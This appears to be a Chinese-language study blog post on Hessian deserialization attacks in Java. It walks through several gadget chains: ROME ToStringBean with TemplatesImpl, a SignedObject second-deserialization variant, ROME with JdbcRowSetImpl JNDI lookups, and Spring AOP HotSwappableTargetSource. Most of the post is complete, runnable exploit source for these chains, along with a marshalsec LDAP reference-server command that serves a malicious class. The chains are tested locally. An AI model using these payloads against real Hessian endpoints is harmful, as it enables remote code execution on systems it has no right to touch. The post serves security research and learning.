hessian 反序列化
反序列化 HashMap 对象,

readType() 返回的 type 为 ""
继续跟进 readMap , new 一个 map 反序列化器

继续跟进 map 反序列化器的 readMap

这里调用了 map.put(key,value),存在一条 gadget
readObject —> map.put(key,value) —> hash(key) —> hashcode(key)
入口方法为 hashCode()、equals() 或 compareTo()。
hessian rome 二次反序列化
rome 链子主要是 toString() 方法会触发 getter 方法
然后 hessian 反序列化会调用 key.hashcode() —> ObjectBean.hashcode() —> this._equalsBean.beanHashCode() —> EqualsBean._obj.toString() 这里的 EqualsBean._obj 是 ToStringBean
public class ObjectBean implements Serializable, Cloneable { private EqualsBean _equalsBean; private ToStringBean _toStringBean; private CloneableBean _cloneableBean;
public ObjectBean(Class beanClass, Object obj) { this(beanClass, obj, (Set)null); }
public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) { this._equalsBean = new EqualsBean(beanClass, obj); this._toStringBean = new ToStringBean(beanClass, obj); this._cloneableBean = new CloneableBean(obj, ignoreProperties); }
public Object clone() throws CloneNotSupportedException { return this._cloneableBean.beanClone(); }
public boolean equals(Object other) { return this._equalsBean.beanEquals(other); }
public int hashCode() { return this._equalsBean.beanHashCode(); }
public String toString() { return this._toStringBean.toString(); }}public class EqualsBean implements Serializable { private static final Object[] NO_PARAMS = new Object[0]; private Class _beanClass; private Object _obj;
public EqualsBean(Class beanClass, Object obj) { if (!beanClass.isInstance(obj)) { throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass); } else { this._beanClass = beanClass; this._obj = obj; } } public int beanHashCode() { return this._obj.toString().hashCode(); }}因此 hessian 反序列化 exp 如下
import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;
public class Hessian_Test implements Serializable {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { HashMap map = new HashMap(); byte[] code = Files.readAllBytes(Paths.get("D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\templatesBytes.class"));
byte[][] evil = new byte[1][]; evil[0] = code;
TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl,"_name","evil"); setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl()); setFieldValue(templatesImpl,"_bytecodes",evil); ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl); ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);
map.put(objectBean,"22"); byte[] bytes = serialize(map); System.out.println(bytes); deserialize(bytes); } public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj,value); }
public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; }
public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); }}弹了计算器,但是报错如下

打断点发现这一步往下报错

发现 _tfactory 被 transient 修饰,不可序列化,反序列化时取默认值

这里 TemplatesImpl 的 readObject 方法,会对 _tfactory 赋值,因此可以打 二次反序列化
使用 signedObject 类

exp 如下
import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.security.*;import java.util.HashMap;
public class Hessian_Test implements Serializable {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, NoSuchAlgorithmException, SignatureException, InvalidKeyException { byte[] code = Files.readAllBytes(Paths.get("D:\\tools_D\\java\\java_learn\\cc_chain\\cc3_\\src\\main\\java\\templatesBytes.class"));
byte[][] evil = new byte[1][]; evil[0] = code;
TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl,"_name","evil"); setFieldValue(templatesImpl,"_tfactory",new TransformerFactoryImpl()); setFieldValue(templatesImpl,"_bytecodes",evil);
ToStringBean toStringBean1 = new ToStringBean(Templates.class,templatesImpl); EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class,toStringBean1); HashMap map0 = new HashMap(); ObjectBean objectBean1 = new ObjectBean(HashMap.class,map0); HashMap map1 = new HashMap(); map1.put(objectBean1,"22"); setFieldValue(objectBean1,"_equalsBean",equalsBean1);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject((Serializable) map1, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class,signedObject); EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class,toStringBean2); ObjectBean objectBean2 = new ObjectBean(HashMap.class,map0); HashMap map2 = new HashMap(); map2.put(objectBean2, "aaa"); setFieldValue(objectBean2,"_equalsBean",equalsBean2);
byte[] bytes = serialize(map2);// System.out.println(bytes); deserialize(bytes); } public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj,value); }
public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; }
public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); }}调用栈如下

Rome + JdbcRowSetImpl 链
exp 如下
import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.sun.rowset.JdbcRowSetImpl;import com.sun.syndication.feed.impl.EqualsBean;import com.sun.syndication.feed.impl.ObjectBean;import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;import java.sql.SQLException;import java.util.HashMap;
public class rome_jdbc { public static void main(String[] args) throws SQLException, NoSuchFieldException, IllegalAccessException, IOException { JdbcRowSetImpl jdbcRowSetImpl = new JdbcRowSetImpl(); String url = "ldap://127.0.0.1:1389/#evil"; jdbcRowSetImpl.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSetImpl); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap map = new HashMap(); ObjectBean objectBean = new ObjectBean(HashMap.class,map); map.put(objectBean,"wsh"); setFieldValue(objectBean,"_equalsBean",equalsBean); byte[] bytes = serialize(map); deserialize(bytes); } public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj,value); } public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; } public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); }}调用栈如下

hessian spring aop 链
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#evil 1388hessian 反序列化还原对象时调用了 HashMap 的 put 方法,putval, 如果 当前 put 的 key 和已经在 map 内的 key hash一致,且 Key1 != key2 ,key2 不为 null ,则会调用 key2.equals()
那后面就可以接 HotSwappableTargetSource 链子,
public boolean equals(Object other) { return (this == other || (other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource) other).target)));}即 key2.target.equals(key1.target)
exp 如下
import com.caucho.hessian.io.HessianInput;import com.caucho.hessian.io.HessianOutput;import com.caucho.hessian.io.SerializerFactory;import org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor;import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;import org.springframework.aop.target.HotSwappableTargetSource;import org.springframework.jndi.support.SimpleJndiBeanFactory;import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;
import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;
public class hsts_exp { public static void main(String[] args) throws Exception { HotSwappableTargetSource hsts1 = new HotSwappableTargetSource(1); HotSwappableTargetSource hsts2 = new HotSwappableTargetSource(2);
Map map = new HashMap(); map.put(hsts1,1); map.put(hsts2,2);
String url = "ldap://127.0.0.1:1388/#evil"; SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory(); simpleJndiBeanFactory.setShareableResources(url);
DefaultBeanFactoryPointcutAdvisor defaultBeanFactoryPointcutAdvisor = new DefaultBeanFactoryPointcutAdvisor(); setFieldValue_dir(defaultBeanFactoryPointcutAdvisor,"adviceBeanName",url); setFieldValue_dir(defaultBeanFactoryPointcutAdvisor,"beanFactory",simpleJndiBeanFactory);
AsyncAnnotationAdvisor asyncAnnotationAdvisor = new AsyncAnnotationAdvisor();
setFieldValue(hsts1,"target",defaultBeanFactoryPointcutAdvisor); setFieldValue(hsts2,"target",asyncAnnotationAdvisor); String bytes = Hessian_serialize(map); Hessian_unserialize(bytes); } public static String Hessian_serialize(Object object) throws IOException { ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); HessianOutput hessianOutput=new HessianOutput(byteArrayOutputStream); SerializerFactory serializerFactory=new SerializerFactory(); //无需继承Serializable也可进行序列化和反序列化 serializerFactory.setAllowNonSerializable(true); hessianOutput.setSerializerFactory(serializerFactory); hessianOutput.writeObject(object); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
public static void Hessian_unserialize(String obj) throws IOException, ClassNotFoundException { byte[] code= Base64.getDecoder().decode(obj); ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(code); HessianInput hessianInput=new HessianInput(byteArrayInputStream); hessianInput.readObject(); } public static void setFieldValue(Object obj,String field,Object value) throws IllegalAccessException, NoSuchFieldException { Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj,value); } public static void setFieldValue_dir(Object obj, String fieldName, Object value) throws Exception { Field field = null; Class<?> clazz = obj.getClass();
// 沿着继承链向上递归查找目标字段,直到 Object 类 while (clazz != Object.class) { try { field = clazz.getDeclaredField(fieldName); break; // 找到目标字段,跳出循环 } catch (NoSuchFieldException e) { // 当前类未声明该字段,指针上移至父类 clazz = clazz.getSuperclass(); } }
if (field == null) { throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy of " + obj.getClass().getName()); }
field.setAccessible(true); field.set(obj, value); }
public static <T> T deserialize(byte[] bytes) throws IOException { ByteArrayInputStream bai = new ByteArrayInputStream(bytes); HessianInput input = new HessianInput(bai); Object o = input.readObject(); return (T) o; }
public static <T> byte[] serialize(T o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); HessianOutput output = new HessianOutput(bao); output.writeObject(o); System.out.println(bao.toString()); return bao.toByteArray(); }}调用栈如下
